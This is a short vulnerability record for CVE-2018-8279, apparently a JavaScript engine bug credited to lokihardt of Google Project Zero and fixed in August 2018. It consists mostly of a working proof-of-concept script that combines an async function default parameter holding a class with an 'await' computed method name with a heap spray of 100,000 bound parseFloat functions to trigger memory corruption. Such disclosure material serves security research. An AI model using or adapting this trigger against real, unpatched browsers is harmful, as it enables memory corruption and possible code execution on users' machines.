CVE-2018-8279.md

CVE-2018-8279

• Fix: Aug 2018
• Credit: lokihardt of Google Project Zero

PoC

async function trigger(a = class b {
    [await 1]() {
    }
}) {
}

let spray = [];
for (let i = 0; i < 100000; i++) {
    spray.push(parseFloat.bind(1, 0x1234, 0x1234, 0x1234, 0x1234));
}

trigger();

Reference

• Microsoft
• Google Project Zero
• Fix